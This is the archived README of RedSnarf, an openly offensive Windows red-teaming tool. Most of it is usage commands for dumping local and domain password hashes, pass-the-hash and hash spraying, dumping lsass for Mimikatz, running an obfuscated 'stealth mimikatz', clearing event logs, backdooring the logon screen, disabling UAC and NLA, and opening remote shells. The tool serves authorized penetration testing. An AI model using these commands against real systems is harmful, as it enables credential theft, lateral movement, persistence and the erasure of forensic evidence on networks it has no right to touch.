GitHub - nccgroup/redsnarf: RedSnarf is a pen-testing / red-teaming tool for Windows environments

By llandeilocymro

Archived: 2026-04-05 13:57:29 UTC

```
     ______          .____________                    _____
\______   \ ____   __| _/   _____/ ____ _____ ________/ ____\
 |       _// __ \ / __ |\_____  \ /    \\__  \\_  __ \   __\
 |    |   \  ___// /_/ |/        \   |  \/ __ \|  | \/|  |
 |____|_  /\___  >____ /_______  /___|  (____  /__|   |__|
        \/     \/     \/       \/     \/     \/
                                redsnarf.ff0000@gmail.com
                                             @redsnarf
```

RedSnarf is a pen-testing / red-teaming tool by **Ed Williams** for retrieving hashes and credentials from Windows workstations, servers and domain controllers using OpSec Safe Techniques.

See our YouTube Channel for Videos https://www.youtube.com/channel/UCDGWRxpHo6d8y6qIeMAXnxQ

RedSnarf functionality includes:

• Retrieval of local SAM hashes
• Enumeration of user/s running with elevated system privileges and their corresponding lsa secrets password;
• Retrieval of MS cached credentials;
• Pass-the-hash;
• Quickly identify weak and guessable username/password combinations (default of administrator/Password01);
• The ability to retrieve hashes across a range;
• Hash spraying -
Credsfile will accept a mix of pwdump, fgdump and plain text username and password separated by a space;
• Lsass dump for offline analysis with Mimikatz;
• Dumping of Domain controller hashes using NTDSUtil and retrieval of NTDS.dit for local parsing;
• Dumping of Domain controller hashes using the drsuapi method;
• Retrieval of Scripts and Policies folder from a Domain controller and parsing for 'password' and 'administrator';
• Ability to decrypt cpassword hashes;
• Ability to start a shell on a remote machine;
• The ability to clear the event logs (application, security, setup or system); (Internal Version only)
• Results are saved on a per-host basis for analysis.
• Enable/Disable RDP on a remote machine.

• Change RDP port from 3389 to 443 on a remote machine.
• Enable/Disable NLA on a remote machine.
• Find where users are logged in on remote machines.
• Backdoor Windows Logon Screen
• Enable/Disable UAC on a remote machine.
• Stealth mimikatz added.
• Parsing of domain hashes
• Ability to determine which accounts are enabled/disabled
• Take a screen shot of a Remote logged on Active Users Desktop
• Record Remote logged on Active Users Desktop
• Decrypt Windows CPassword
• Decrypt WinSCP Password
• Get User SPN's
• Retrieve WIFI passwords from remote machines

RedSnarf Usage

Requirements:
Impacket v0.9.16-dev - https://github.com/CoreSecurity/impacket.git
CredDump7 - https://github.com/Neohapsis/creddump7
Lsass Retrieval using procdump - https://technet.microsoft.com/en-us/sysinternals/dd996900.aspx
Netaddr (0.7.12) - pip install netaddr
Termcolor (1.1.0) - pip install termcolor
iconv - used with parsing Mimikatz info locally

Show Help
./redsnarf.py -h
./redsnarf.py --help

Retrieve Local Hashes

Retrieve Local Hashes from a single machine using weak local credentials and clearing the Security event log
./redsnarf.py -H ip=10.0.0.50 -uC security

Retrieve Local Hashes from a single machine using weak local credentials and clearing the application event log
./redsnarf.py -H ip=10.0.0.50 -uC application

Retrieve Local Hashes from a single machine using local administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d .

Retrieve Local Hashes from a single machine using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com

Retrieve Hashes across a network range using local administrator credentials
./redsnarf.py -H range=10.0.0.1/24 -u administrator -p Password01 -d .

Retrieve Hashes across a network range using domain administrator credentials
./redsnarf.py -H range=10.0.0.1/24 -u administrator -p Password01 -d yourdomain.com

Retrieve Hashes across a network range using domain administrator credentials
./redsnarf.py -H file=targets.txt -u administrator -p Password01 -d yourdomain.com

Hash Spraying

Spray Hashes across a network range
./redsnarf.py -H range=10.0.0.1/24 -hS credsfile -d .

Retrieve Hashes across a network range domain login
./redsnarf.py -H range=10.0.0.1/24 -hS credsfile -d yourdomain.com

Quickly Check Credentials
./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password1 -d . -cQ y

Quickly Check File containing usernames (-hS) and a generic password (-hP)
./redsnarf.py -H ip=10.0.0.1 -hS /path/to/usernames.txt -hP PasswordToTry -cQ y

Retrieve Domain Hashes

Retrieve Hashes using drsuapi method (Quickest)
This method supports an optional flag of -q y which will query LDAP and output whether accounts are live or disabled **./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -hI y (-hQ y)**

Retrieve Hashes using NTDSUtil
This method supports an optional flag of -q y which will query LDAP and output whether accounts are live or disabled **./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -hN y (-hQ y)**

Golden Ticket Generation
./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -hT y

Information Gathering

Copy the Policies and Scripts folder from a Domain Controller and parse for password and administrator
./redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -uP y

Decrypt Cpassword
./redsnarf.py -uG cpassword

Find User - Live
/redsnarf.py -H range=10.0.0.1/24 -u administrator -p Password01 -d yourdomain.com -eL user.name

Find User - Offline (searches pre downloaded information)
/redsnarf.py -H range=10.0.0.1/24 -u administrator -p Password01 -d yourdomain.com -eO user.name

Display NT AUTHORITY\SYSTEM Tasklist
/redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -eT y

Screenshot the Desktop of a Remote Logged on Active User
/redsnarf.py -H ip=10.0.0.1 -u administrator -p Password01 -d yourdomain.com -eS y

Misc

Start a Shell on a machine using local administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d . -uD y

Start a Shell on a machine using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uD y

Retrieve a copy of lsass for offline parsing with Mimikatz on a machine using local administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d . -hL y

Run stealth mimikatz, this option fires up a web-server to serve a powershell script, this is obfusctaed and encoded machine side, data doesnt touch disk - creds are grepped for in an easy to read style and echoed back to screen.
./redsnarf.py -H ip=192.168.198.162 -u administrator -p Password01 -cS y -hR y

Run Custom Command
Example 1
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uX 'net user'

Example 2 - Double Quotes need to be escaped with \
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uX 'dsquery group -name "domain admins" | dsget group -members -expand'

Local Access Token Policy
Creates a batch file lat.bat which you can copy and paste to the remote machine to execute which will modify the registry and either enable or disable Local Access Token Policy settings.
./redsnarf.py -rL y

Wdigest
Enable UseLogonCredential Wdigest registry value on a machine using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rW e

Disable UseLogonCredential Wdigest registry value on a machine using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rW d

Query UseLogonCredential Wdigest registry value on a machine using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rW q

UAC
Enable UAC registry value on a machine using domain administrator credentials **./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rU e**

Disable UAC registry value on a machine using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rU d

Query UAC registry value on a machine using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rU q

Backdoor - Backdoor Windows Screen - Press Left Shift + Left Alt + Print Screen to activate
Enable Backdoor registry value on a machine using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rB e

Disable Backdoor registry value on a machine using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rB d

Query Backdoor registry value on a machine using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rB q

AutoLogon
Enable Windows AutoLogon registry value on a machine using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rA e

Disable Windows AutoLogon registry value on a machine using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rA d

Query Windows AutoLogon registry value on a machine using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rA q

Lock a remote machine user session using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uL y

RDP

Enable RDP on a machine using domain administrator credentials **./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rR e**

Disable RDP on a machine using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rR d

Query RDP status on a machine using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rR q

Change RDP Port from 3389 to 443 - Change RDP Port to 443 on a machine using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rT e

Change RDP Port to default of 3389 on a machine using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rT d

Query RDP Port Value on a machine using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rT q

Enable Multi-RDP with Mimikatz
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -uR y

Enable RDP SingleSessionPerUser on a machine using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rM e

Disable RDP SingleSessionPerUser on a machine using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rM d

Query RDP SingleSessionPerUser status on a machine using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rM q

NLA

Enable NLA on a machine using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rN e

Disable NLA on a machine using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rN d

Query NLA status on a machine using domain administrator credentials
./redsnarf.py -H ip=10.0.0.50 -u administrator -p Password01 -d yourdomain.com -rN q

---